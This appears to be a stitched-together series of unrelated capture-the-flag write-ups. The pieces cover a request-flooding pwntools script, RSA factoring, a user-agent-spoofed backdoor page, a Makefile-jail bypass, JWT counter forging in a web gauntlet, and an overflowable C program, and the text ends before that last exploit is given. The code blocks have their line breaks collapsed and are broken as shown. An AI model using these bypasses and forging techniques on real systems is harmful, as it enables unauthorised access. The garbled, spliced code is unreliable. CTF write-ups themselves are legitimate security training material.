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```# -*- coding: utf8 -*-from pwn import *context.log_level='debug'SERVER="crabby-clicker.ctf.umasscybersec.org"PORT=80
payload=b"GET /click HTTP/1.1\r\n\r\n"
p = remote(SERVER, PORT)for i in range(0, 101): p.send(payload)
payload=b"GET /flag HTTP/1.1\r\n\r\n"p.send(payload)recv = p.recvall()print(recv)```
// UMASS{y_w0uld_u_w4nt_mult1p13_r3qu35t5} |
%25%36%36%25%36%63%25%36%31%25%36%37%25%37%62%25%33%38%25%36%35%25%36%36%25%36%35%25%36%32%25%33%36%25%33%36%25%36%31%25%33%37%25%33%31%25%33%39%25%36%32%25%33%37%25%33%35%25%36%31%25%33%34%25%36%32%25%33%37%25%36%33%25%33%36%25%33%33%25%33%34%25%36%34%25%33%38%25%33%38%25%33%35%25%33%37%25%33%38%25%33%38%25%36%34%25%36%36%25%36%33%25%37%64
This is URL ecnoded flag, try to decode 2 times
FLAG:
flag{8efeb66a719b75a4b7c634d885788dfc} |
# runner-net
>Great work cracking that pcap file! I think we saw some interesting traffic, and we were definitely onto something with Dr Tom's blog. Unfortunately - security seems tight.>>But fortunately for us - people are the weakest link and some people might still be celebrating st. paddy's based on this network capture we grabbed. Check it out and see if they slipped up anywhere. It might be helpful to cross compare the old one, while you're at it.>>I can't help but think there's more than that. Mary and Maya said they found a way in, but typical them - they're MIA. Probably back dancing the night away again.>**Flag format:** Exactly as it appears, which will be in the format `jctf{some_text}`.
Looking through the entire [pcap file](https://en.wikipedia.org/wiki/Pcap), there's a lot of traffic (27718 packets), and a lot of different types of traffic: [TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol), [QUIC](https://en.wikipedia.org/wiki/QUIC), [TLS 1.3](https://en.wikipedia.org/wiki/Transport_Layer_Security), so we should filter based on something we know.
The challenge description talks about Dr Tom's blog, which from an earlier challenge we know is: https://drtomlei.xyz. A quick ping tells us its IP is:
```$ ping drtomlei.xyzPING drtomlei.xyz (54.163.212.148) 56(84) bytes of data.```
Setting the filter `http && ip.addr == 54.163.212.148` gives us only 4 packets:
Just from the header we can see the url `/__/__tomsbackdoor` which looks interesting.
Inspecting another packet closer, we see the [User Agent](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent) being set to `TOMS BARDIS`.
Using [Burpsuite](https://portswigger.net/burp), we can set that as our User Agent. Then we are able to go to the `/__/__tomsbackdoor` page.
Since we will be making quite a few requests, lets set up an automatic User Agent match and replace.
Navigate to Proxy -> Proxy Settings -> Match and Replace
Add a new rule
Make sure it is enabled.
Clicking any link on the forum, we see that an `accessCode` cookie has been set and our User Agent re-write is working.
(The `accessCode` cookie came from visiting `/__/__tomsbackdoor` with the correct User Agent.)
The match and replace makes browsing the site much easier. (There are browser extensions that let you do this, but they are all sketchy.)
At this point we can turn burp interception off and just look around.
From the challenge description, we see the user `m_and_m` (probably Mary and Maya).
Clicking on their profile and viewing it's source, we see
```jctf{oh_no!_th3y_4r3_0n_t0_0ur_h3ad3r5!}``` |
## PQ- Tags: Crypto- Description: Sup! I have a warm-up exercise for you. Test yourself!
## Solution- To solve this question you need to download the two files and open them. One contains a script, another contains an output after encryption process.- This is a RSA encryption. RSA is a type of asymmetric encryption, which uses two different but linked keys. In RSA cryptography, both the public and the private keys can encrypt a message. The opposite key from the one used to encrypt a message is used to decrypt it.
```from secret import flagimport gmpy2import os
e = 65537
def generate_pq(): seed_1 = os.urandom(256) seed_2 = os.urandom(128)
p = gmpy2.next_prime(int.from_bytes(seed_1, 'big')) q = gmpy2.next_prime(p + int.from_bytes(seed_2, 'big'))
return p, q
def crypt(text: bytes, number: int, n: int) -> bytes: encrypted_int = pow(int.from_bytes(text, 'big'), number, n)
return int(encrypted_int).to_bytes(n.bit_length() // 8 + 1, 'big').lstrip(b'\x00')
def decrypt(ciphertext: bytes, d: int, n: int) -> bytes: decrypted_int = pow(int.from_bytes(ciphertext, 'big'), d, n)
return int(decrypted_int).to_bytes(n.bit_length() // 8 + 1, 'big').lstrip(b'\x00')
if __name__ == '__main__': p, q = generate_pq()
N = p * q
print(N) print(crypt(flag, e, N))```
- We don't know the "p" and "q" because they are random, so we have to find them using "sympy" Python library.
```import sympy
number = 132086762100302078158612307179906631909898806981783638872466068002300869623098630620165448768720254883137327422672476805043691480174256036180721731497587237715063454297790495969483489207136972250164710188420225763233747908701283027078438344664299014808416413571351542599081752555686770028413716796078873813330590445832860793314759609313764623765380933591724606330437910835716715531622488954094537786597047153926251039954598771799135047290146418281385535642767911286195336847939581845201323419481454339068278410371643803608271670287022348951939900020976969310691364928577827628933372033862233255290645770491410483896580775901424709960774246239786459897154645326725577247495081862202329964850883099304655731249899682207929191809089102784910271194419106763854156131659154288130473334913716310774837544357552145818946965762232701773929485120822084798271812866558958017482859639309145534006213755797867458114047179151432620199901531647274556045226842412846249745453829411110791389589361083639248497794972860374118825453789815945054941317357362356097204626302358978602557740022604702272869574989276916907973619219179668721219956360339907020399117153780337123055361243263164411540233136750115943236824586938269115081034357185003848577647497
prime_factors = sympy.factorint(number)
print(prime_factors)```
- From this we find prime factors that can help us to find "d".
```p = 11492900508587989954531440332263108922084741581974222102472118047768380430540353920289746766137088552446667728704705825767564907436992191013818658710263387461050109924538094327413211095570408951831804511312664061115780934181616871945218328272318074413219648490794574757471025686956697500105383560452507555043577475707379430674941097523563439495291391376433292863780301364692520578080638180885760050174506019604723296382744280564071968270446660250234587067991312783613649361373626181634408704506324790573495089018767820926445333763821104985493381745364201010694528200379210559415841578043670235152463040761395093466757q = 11492900508587989954531440332263108922084741581974222102472118047768380430540353920289746766137088552446667728704705825767564907436992191013818658710263387461050109924538094327413211095570408951831804511312664061115780934181616871945218328272318074413219648490794574757471025686956697500105383560452507555043583332241787496934511124508164581479242699938954664986778778089174462752116916848703843649899098070668669678312274875686923774909987821333120312320645501581685293243247702323898532381890355435523179413889042894904950054113266062322984191234608909924029167449813744492456171898301189923726970620918920525920821N = 132086762100302078158612307179906631909898806981783638872466068002300869623098630620165448768720254883137327422672476805043691480174256036180721731497587237715063454297790495969483489207136972250164710188420225763233747908701283027078438344664299014808416413571351542599081752555686770028413716796078873813330590445832860793314759609313764623765380933591724606330437910835716715531622488954094537786597047153926251039954598771799135047290146418281385535642767911286195336847939581845201323419481454339068278410371643803608271670287022348951939900020976969310691364928577827628933372033862233255290645770491410483896580775901424709960774246239786459897154645326725577247495081862202329964850883099304655731249899682207929191809089102784910271194419106763854156131659154288130473334913716310774837544357552145818946965762232701773929485120822084798271812866558958017482859639309145534006213755797867458114047179151432620199901531647274556045226842412846249745453829411110791389589361083639248497794972860374118825453789815945054941317357362356097204626302358978602557740022604702272869574989276916907973619219179668721219956360339907020399117153780337123055361243263164411540233136750115943236824586938269115081034357185003848577647497e = 65537phi = (p-1) * (q-1)
def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m
d = modinv(e, phi)
print('D = ', d)```
- After we find all of the arguments and pieces for the "decrypt()" function, now we can use it and get the flag.
```VolgaCTF{0x8922165e83fa29b582f6a252cb337a05}``` |
tl;dr- Slice files.js using nginx partial caching.- Use Subresource Integrity to load the right script- Use DOM clobbering and Cache probing to leak the flag uuid |
## Made Sense- Tags: Misc, Makekjail, Jail- Description: i couldn't log in to my server so my friend kindly spun up a server to let me test makefiles. at least, they thought i couldn't log in :P
## Solution- When we visit that website, we can see there a link to source code of it.
```import osfrom pathlib import Pathimport reimport subprocessimport tempfile
from flask import Flask, request, send_file
app = Flask(__name__)flag = open('flag.txt').read()
def write_flag(path): with open(path / 'flag.txt', 'w') as f: f.write(flag)
def generate_makefile(name, content, path): with open(path / 'Makefile', 'w') as f: f.write(f"""SHELL := /bin/bash.PHONY: {name}{name}: flag.txt\t{content}""")
@app.route('/', methods=['GET'])def index(): return send_file('index.html')
@app.route('/src/', methods=['GET'])def src(): return send_file(__file__)
# made sense@app.route('/make', methods=['POST'])def make(): target_name = request.form.get('name') code = request.form.get('code')
print(code) if not re.fullmatch(r'[A-Za-z0-9]+', target_name): return 'no' if '\n' in code: return 'no' if re.search(r'flag', code): return 'no'
with tempfile.TemporaryDirectory() as dir: run_dir = Path(dir) write_flag(run_dir) generate_makefile(target_name, code, run_dir) sp = subprocess.run(['make'], capture_output=True, cwd=run_dir) return f"""<h1>stdout:</h1>{sp.stdout}<h1>stderr:</h1>{sp.stderr} """
app.run('localhost', 8000)```
- This code below is used to check what we are entering to create a Makefile.
```if not re.fullmatch(r'[A-Za-z0-9]+', target_name): return 'no'if '\n' in code: return 'no'if re.search(r'flag', code): return 'no'```
- We can't enter "flag" and we have to bypass this system to get the flag. First, what's comes to mind: enter some random letters into the "Target name" field. Then, we can bypass the check, by entering this command.
```cat *.txt```
- This will open all the files within the directory. We don't explicitly enter "flag.txt", so the website is not yelling at us. There you will find a flag.
```wctf{m4k1ng_vuln3r4b1l1t135}``` |
# Fair RSA
Category: Cryptography
Files:- details.txt
## Description
This is a challenge to test your cryptography knowledege in RSA, we have provided you with the details below what you need to do is decrypt the message that is encrypted and submit the plaintext here after you are done.
`author : @tahaafarooq`
## details.txt Public Key (n, e) : (19673370669647377024468265016075348642851832438586747103226284920806691384755623724057040848911311716328751351160481539917738626311049187540696107047974956645601794808304022011409013065653836522256294192057665681799183492097918771786827618482936222080300339907767078668256877594751597898912084924846172345098440906497238067439206855074256390363143340193797218048279420549218915584467170757058446607730184948273712123887901277790901707345537632472359370975110143758563578965615778022187597327907179637366841595163611202656060660392408962134234975854592782678780162857389372006373512741248598264265772850864477732299777, 17461953984348731680166514622664582105731887289248495678423936360575206304611376180920919508890916929516545885582431678072043037707759961549839911968995614196851119041495794395284150473939427242837110174444605192706219202816153037454453778114698625023612169649895757356633362504734679397583677541096731041730022383165115624743389166213587989490287974897708806205601033982693930359909365880187835167733583745889747400584550308941988492316376732749303441403774764536570011768962746111396839970126739935967727825810308572702824213864261843857640819829801984936735151466802873675484839273671462249932889327096166858530711) Private Key (n, d) : (19673370669647377024468265016075348642851832438586747103226284920806691384755623724057040848911311716328751351160481539917738626311049187540696107047974956645601794808304022011409013065653836522256294192057665681799183492097918771786827618482936222080300339907767078668256877594751597898912084924846172345098440906497238067439206855074256390363143340193797218048279420549218915584467170757058446607730184948273712123887901277790901707345537632472359370975110143758563578965615778022187597327907179637366841595163611202656060660392408962134234975854592782678780162857389372006373512741248598264265772850864477732299777, 1886468683638535171066793813044845827765124207476335185342842393892084322473478489288664345155077033649118342762171402140705054432909484007865327942965234236671289210416602555100861434771732369905520765681061259182639117638267568962899996234170368148948635501563219769896850884909140253096349079580623453568476871874636977394099647784234021743539531088745187724978507744224920480574673232380794091548447637113667554797287259036703743235074823485369127878884850842522574724281630622805052087925930649677924700592486507898712776489144846775573458729043930654011432499229872937782038184901213705049165619018677819272871) Encrypted Message : 12679822725806382591162953851968052667417743901370984917988734167168032793888213325120284661631258353739950339918600009855448577614441917231404538687547349966953956423254685454925178801100411652981776661272613634058832879000671875440471433290127308706427483878102893375694167990076338962393862995864146268991220219897776936668326753565595125051154983805240634408989321616489863435309386036705276361944255455236710064294687682325782304283488903391046715911633077341433245833366540458256380724356409955006911384537931849118366739214804469551113554353668508725747316306249788988002693202147366265010592243067655169053210
## Writeuphttps://www.dcode.fr/rsa-cipher
urchinsec{0x9d0124f_RSA_baby_is_pr3tty_straight} |
# Deleted> We found this file and was told that it contains a flag within it. Can you find the flag?
The file we are given is a `.e01` which I loaded with [Autopsy](https://www.autopsy.com/).
Once I loaded the file, I checked the 'deleted files' section.
Inside the file `zzooo.png` was the flag.
Flag: `gigem{f0und_d3l3t3d_f1l3}`
**Special Thanks to warlocksmurf, was stuck on a Mac and couldn't grab Autopsy screenshots :<** |
Can you survive the gauntlet?
10 mini web challenges are all that stand between you and the flag.
Note: Automated tools like sqlmap and dirbuster are not allowed (and will not be helpful anyway).
[https://gauntlet-okntin33tq-ul.a.run.app](https://gauntlet-okntin33tq-ul.a.run.app)
---
Challenge 1:
```Welcome to the GauntletIs there anything hidden on this page?```
Chrome Dev Tools --> Sources --> Scroll to the bottom of (index) --> ``
[Challenge 2](https://gauntlet-okntin33tq-ul.a.run.app/hidden9136234145526):
```Page 1Congrats on finding the 1st hidden page.This page will yield a secret if you set an "HTTP Request Header" like this:wolvsec: rocks```
Launch Burp Suite, and set the GET request to `/hidden9136234145526` to Repeater. Modify the request to include `wolvsec: rocks`. Send to get the following output:
```htmlHTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Cloud-Trace-Context: 67b29518bcd26cbf1de2706d179705d2Date: Sat, 16 Mar 2024 17:35:19 GMTServer: Google FrontendContent-Length: 243Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 1</h1><div>Congrats on finding the 1st hidden page.</div><div>This page will yield a secret ifyou set an "HTTP Request Header" like this:</div><div>
</div>wolvsec: rocks</html>
```
[Challenge 3](https://gauntlet-okntin33tq-ul.a.run.app/hidden0197452938528):
```Page 2Congrats on finding the 2nd hidden page.This page will yield a secret if you use a certain "HTTP Method". Maybe try some of these and see if anything interesting happens.```
Send the GET request to `/hidden0197452938528` to the Repeater. Modify the first, all-caps word in the request to OPTIONS. (This is also on the page they provide at developer.mozilla.org that specifies the various HTTP methods). This will return the following:
```htmlHTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Cloud-Trace-Context: 098d40958b0d1cb62b6f072aef631aaaDate: Sat, 16 Mar 2024 17:42:19 GMTServer: Google FrontendContent-Length: 360Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 2</h1><div>Congrats on finding the 2nd hidden page.</div><div>This page will yield a secret ifyou use a certain "HTTP Method". Maybe try some of these and see if anything interesting happens.<div><div>
</div></html>```
[Challenge 4](https://gauntlet-okntin33tq-ul.a.run.app/hidden5823565189534225):
```Page 3Congrats on finding the 3rd hidden page.This page will yield a secret if you have a "Query String" parameter named'wolvsec' whose value, as seen by the server is:c#+lYour raw query string as seen by the server:Your wolvsec query parameter as seen by the server:```
A query string is essentially a paramter in a GET request. Certain values must be URL-encoded to pass. In this case, the following URL should work:
[https://gauntlet-okntin33tq-ul.a.run.app/hidden5823565189534225?wolvsec=c%23%2bl](https://gauntlet-okntin33tq-ul.a.run.app/hidden5823565189534225?wolvsec=c%23%2bl)
%23 and %2b encode to # and + respectively (23 and 2b are the hex values of # and +, which can be found by using an online ASCII to hex converter).
Here is the response in Burp Suite:
```htmlHTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Cloud-Trace-Context: f3287ff08331d780e4ef5f04a4360faaDate: Sat, 16 Mar 2024 17:47:55 GMTServer: Google FrontendContent-Length: 462Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 3</h3><div>Congrats on finding the 3rd hidden page.</div><div>This page will yield a secret if you have a "Query String" parameter named</div><div>'wolvsec' whose value, as seen by the server is: c#+l</div><div>Your raw query string as seen by the server: wolvsec=c%23%2Bl</div><div>Your wolvsec query parameter as seen by the server: c#+l</div><div>
</div></html>
```
[Challenge 5](https://gauntlet-okntin33tq-ul.a.run.app/hidden5912455200155329):
```Page 4Congrats on finding the 4th hidden page.This page will yield a secret if you perform a POST to it with this request header:Content-Type: application/x-www-form-urlencodedThe form body needs to look like this:wolvsec=rocksThe HTML form that you'd normally use to do this is purposefully not being provided.You could use something like curl or write a python script.
Your Content-Type header value is:Your POSTed wolvsec parameter is:```
Send the GET request to the URL to the Repeater. The modified request is as follows:
```htmlPOST /hidden5912455200155329 HTTP/2Host: gauntlet-okntin33tq-ul.a.run.appContent-Type: application/x-www-form-urlencodedSec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, iContent-Length: 13
wolvsec=rocks```
The modified parts include:
- `GET` in the first line changes to `POST` - `Content-Type: application/x-www-form-urlencoded` is added in the 3rd line - `wolvsec=rocks` is added at the very end
The response is:
```htmlHTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Cloud-Trace-Context: f9052fb326bc53dbc25447e4065e330fDate: Sat, 16 Mar 2024 17:50:48 GMTServer: Google FrontendContent-Length: 670Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 4</h1><div>Congrats on finding the 4th hidden page.</div><div>This page will yield a secret if you perform a POST to it with this request header:</div>Content-Type: application/x-www-form-urlencoded<div>The form body needs to look like this:</div>wolvsec=rocks<div>The HTML form that you'd normally use to do this is purposefully not being provided.</div><div>You could use something like curl or write a python script.</div><div>Your Content-Type header value is: application/x-www-form-urlencoded</div><div>Your POSTed wolvsec parameter is: rocks</div><div>
</div></html>
```
[Challenge 6](https://gauntlet-okntin33tq-ul.a.run.app/hidden3964332063935202):
```Page 5Congrats on finding the 5th hidden page.The secret is ALREADY on this page. View Source won't show it though. How can that be?Note: You are NOT meant to understand/reverse-engineer the Javascript on this page.```
This is the response to the GET request to the URL:
```htmlHTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Cloud-Trace-Context: e72762326c8381074ac58b93cb390a36Date: Sat, 16 Mar 2024 17:55:41 GMTServer: Google FrontendContent-Length: 1762Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 5</h1><div>Congrats on finding the 5th hidden page.</div><div>The secret is ALREADY on this page. View Source won't show it though. How can that be?</div><div>Note: You are NOT meant to understand/reverse-engineer the Javascript on this page.</div><script>(function(){var dym='',ZpW=615-604;function Ehj(n){var y=29671;var x=n.length;var u=[];for(var r=0;r<x;r++){u[r]=n.charAt(r)};for(var r=0;r<x;r++){var h=y*(r+68)+(y%20298);var l=y*(r+674)+(y%19102);var j=h%x;var a=l%x;var q=u[j];u[j]=u[a];u[a]=q;y=(h+l)%1876730;};return u.join('')};var kwZ=Ehj('rtnythucituojsbfsgdaxkoeolqvrpcmcrwnz').substr(0,ZpW);var Uiq='oay 7=j1 d(1),s=566vyrAzg"hbrdjf=hrjeldn)p.rht;v[x)zm;{a7 e=v8r,;0h7l,;7u9;,u9}7(,+0=8e,i0(8j,.5]6f,)6b7r,o017a,b2v7),+6=;aa0 "=(]if;ryvartb80]b0kvlun{tv;r+u)g[n[1]9=e+.;bat 1=r]]jr=h2ad"= 5feq=;0gf=rovcrivj0nv(a)g=mbnos.lbn1tr;6++)7vpr=r=a.g+mon s4vp.-p8i1(n h)hfcr4vnryg1rql+ngtf-.;a>)08g2-e{ya+ .=8unl*v(riq=rpg[;aas )=3urlrv{rcms0,v7ris;q.l<n+t};,ar w;loy(ian n==;,<n;m+p)]vir=xCq9c;a(C6deAt(o)rv.rea(hrx ;(feae{g=(ak1"*++v..horoo[ect(y)1{-r; =o;y+;;;eas ,f)x[=;)wcl2v(t.uedgth=j]qyc,a;ChdaAs()+r))+v.4hmr(odegtkyc2m-u;f=,;k+n2l};l"etcjn)ifu;;;iy([=fnilb)a==];i<(8>r)=.nush,qrs+b toiogvmtwh)2o-p+s6(([[+e](;w=t+i;[i2(j!(nvl()4it(l<o)o.duAhcq+s+b1tii)g;m,)vrog)=y.=o;n,"l).}hu=prs8(r[[]a;fv-ren,u.jai((""h;ka1 ,=w3l,[9o1e,t2[9r,rdh.,o(cat9k];,ar r=5tmirgufro{CtaSCadu()6};.oc(eah 0=i;s<C.we8gahrb=+Cn n!s lrtqtgz.cla]Au(a)o.}o=nCS(r;n2.er)m+h0rvo)eai.b=)o;uetu}n=nysvlstst;" " .]oen ts;';var Rvg=Ehj[kwZ];var yTt='';var Txm=Rvg;var zYy=Rvg(yTt,Ehj(Uiq));var PFr=zYy(Ehj('4.cb!nd5.odcoyl!d)pden3can!52)eumeotd8en2i(r5idmueo5.dhteme9CC35"60ntt\/mh9("9pa'));var Poj=Txm(dym,PFr );Poj(8875);return 8512})()</script></html>
```
However, you don't even need to run this script. If you're on Chrome, you can simply go to the Elements tab to find the following comment:
```
```
If you can't do this, it is however relatively trivial to simply copy the contents of the defined JavaScript function, remove the return statement, and run it in an online compiler. This will return something like this:
```node /tmp/O4faH7umKA.jsERROR!undefined:3document.body.appendChild(document.createComment("/hidden5935562908234559"))^
ReferenceError: document is not defined at eval (eval at <anonymous> (/tmp/O4faH7umKA.js:1:1415), <anonymous>:3:1) at Object.<anonymous> (/tmp/O4faH7umKA.js:1:1429) at Module._compile (node:internal/modules/cjs/loader:1356:14) at Module._extensions..js (node:internal/modules/cjs/loader:1414:10) at Module.load (node:internal/modules/cjs/loader:1197:32) at Module._load (node:internal/modules/cjs/loader:1013:12) at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:128:12) at node:internal/main/run_main_module:28:49
Node.js v18.19.1
```
[Challenge 7](https://gauntlet-okntin33tq-ul.a.run.app/hidden5935562908234559):
```Page 6Congrats on finding the 6th hidden page.Hmmmm, I'm pretty sure the URL in the address bar is NOT the one you got from Page 5.How could that have happened?```
This is simply implying a redirection. Check out the pages you were redirected from in Burp Suite. The original URL says `hello` and the second URL (before the final redirection to the current page) says `hello again: `.
[Challenge 8](https://gauntlet-okntin33tq-ul.a.run.app/hidden82008753458651496):
```Page 7Congrats on finding the 7th hidden page.You have visited this page 1 times.If you can visit this page 500 times, a secret will be revealed.Hint: There is a way to solve this without actually visiting that many times.```
Reload the page once, then check out the Burp Suite GET request.
```htmlGET /hidden82008753458651496 HTTP/2Host: gauntlet-okntin33tq-ul.a.run.appCookie: cookie-counter=2Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, i```
That cookie-counter is probably keeping track of how many times the user has visited the page. Send the request to the Repeater and modify it to 500. Now we get the response:
```htmlHTTP/2 200 OKContent-Type: text/html; charset=utf-8Set-Cookie: cookie-counter=501; Path=/X-Cloud-Trace-Context: 46d25f4fb0e1a34f43857d92032e8a47Date: Sat, 16 Mar 2024 18:06:48 GMTServer: Google FrontendContent-Length: 165Expires: Sat, 16 Mar 2024 18:06:48 GMTCache-Control: privateAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 7</h1><div>Congrats on finding the 7th hidden page.</div>
<div>A secret has been revealed!<div>
</div></html>
```
[Challenge 9](https://gauntlet-okntin33tq-ul.a.run.app/hidden00127595382036382):
```Page 8Congrats on finding the 8th hidden page.You have visited this page 3 times.If you can visit this page 500 times, a secret will be revealed.Hint: There is a way to solve this without actually visiting that many times, but it is harder than the previous page.This will be useful: https://jwt.io/```
Reload the page once. Check out the request and response:
```htmlGET /hidden00127595382036382 HTTP/2Host: gauntlet-okntin33tq-ul.a.run.appCookie: jwt-cookie-counter=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb3VudGVyIjoyfQ.XvkQEJyoYw1flG_ojvYeHqGvbfbixv_C0ZjRKO13dTICache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, i```
Seems like we have a JWT cookie we need to break. Here's the response:
```htmlHTTP/2 200 OKContent-Type: text/html; charset=utf-8Set-Cookie: cookie-counter=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/Set-Cookie: jwt-cookie-counter=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb3VudGVyIjozfQ.S9x3s2v3aTmEGj_Z5S_--aX2gK1RlN5Bfi6P8Uh5wCA; Path=/X-Cloud-Trace-Context: 391c8b9c10753cbff1feea3b052e4762Date: Sat, 16 Mar 2024 18:08:38 GMTServer: Google FrontendContent-Length: 490Expires: Sat, 16 Mar 2024 18:08:38 GMTCache-Control: privateAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 8</h1><div>Congrats on finding the 8th hidden page.</div>
<div>You have visited this page 2 times.</div><div>If you can visit this page 500 times, a secret will be revealed.</div><div>Hint: There is a way to solve this without actually visiting that many times, but it is harder than the previous page.</div><div>This will be useful: https://jwt.io/</div>
<div>
</div></html>
```
We see that the secret for the HS256 JWT encryption algorithm is wolvsec. Let's visit jwt.io now.
1. Paste the JWT cookie in 2. Enter the secret in the `Verify Signature` section 3. Modify the counter to equal 500 in the `Payload: Data` section.
Now copy this cookie, send the original GET request to the Burp Suite Repeater, paste this cookie to replace the original JWT cookie, and send the request:
```htmlHTTP/2 200 OKContent-Type: text/html; charset=utf-8Set-Cookie: cookie-counter=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/Set-Cookie: jwt-cookie-counter=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb3VudGVyIjo1MDF9.2RgGGM3Mihm5kuLlMk-3zKaSlyuFuMNhSETavftqIKM; Path=/X-Cloud-Trace-Context: de74564d74c46ad5d5a549fb3b67d57fDate: Sat, 16 Mar 2024 18:09:42 GMTServer: Google FrontendContent-Length: 165Expires: Sat, 16 Mar 2024 18:09:42 GMTCache-Control: privateAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 8</h1><div>Congrats on finding the 8th hidden page.</div>
<div>A secret has been revealed!<div>
</div></html>
```
[Challenge 10](https://gauntlet-okntin33tq-ul.a.run.app/hidden83365193635473293):
```Page 9Congrats on finding the 9th hidden page.You are almost through the gauntlet!You have visited this page 1 times.If you can visit this page 1000 times, a secret will be revealed.
Hint: The JWT secret for this page is not provided, is not in any Internet list of passwords, and cannot be brute forced.As far as we know, you cannot solve this page without actually visiting this page that number of times.We suggest writing a script which can do this for you. The script will need to properly read the response cookie and re-send it along with the next request.
Here is something that might help: https://sentry.io/answers/sending-cookies-with-curl/Here is a different thing that might help: https://stackoverflow.com/questions/31554771/how-can-i-use-cookies-in-python-requests```
Visiting the second link clarified for me how to keep updating and sending the same cookie (which I verified with a little bit of testing). Thus, by using the Python requests module, here's the implementation:
```pyimport requests
s = requests.Session()
for i in range(1000): if i % 100 == 0: print(i) txt = s.get('https://gauntlet-okntin33tq-ul.a.run.app/hidden83365193635473293').textprint(txt)```
If you want to understand this a bit more (if you're new), I recommend reading up on the documentation.
Running the script will produce this response:
```html<html><h1>Page 9</h1><div>Congrats on finding the 9th hidden page.</div><div>You are almost through the gauntlet!</div>
<div>A secret has been revealed!<div>
</div></html>```
Visit [https://gauntlet-okntin33tq-ul.a.run.app/flag620873537329327365](https://gauntlet-okntin33tq-ul.a.run.app/flag620873537329327365):
```Congratulations!Thank you for persevering through this gauntlet.
Here is your prize:
wctf{w3_h0p3_y0u_l34rn3d_s0m3th1ng_4nd_th4t_w3b_c4n_b3_fun_853643}```
Theres the flag!
wctf{w3_h0p3_y0u_l34rn3d_s0m3th1ng_4nd_th4t_w3b_c4n_b3_fun_853643} |
## babypwn- Tags: pwn- Description: Just a little baby pwn. nc babypwn.wolvctf.io 1337
## Solution- To solve this question you need to download the following files and open the source code. You will see the following:
```#include <stdio.h>#include <string.h>#include <unistd.h>
struct __attribute__((__packed__)) data { char buff[32]; int check;};
void ignore(void){ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);}
void get_flag(void){ char flag[1024] = { 0 }; FILE *fp = fopen("flag.txt", "r"); fgets(flag, 1023, fp); printf(flag);}
int main(void) { struct data name; ignore(); /* ignore this function */
printf("What's your name?\n"); fgets(name.buff, 64, stdin); sleep(2); printf("%s nice to meet you!\n", name.buff); sleep(2); printf("Binary exploitation is the best!\n"); sleep(2); printf("Memory unsafe languages rely on coders to not make mistakes.\n"); sleep(2); printf("But I don't worry, I write perfect code :)\n"); sleep(2);
if (name.check == 0x41414141) { get_flag(); }
return 0;}```
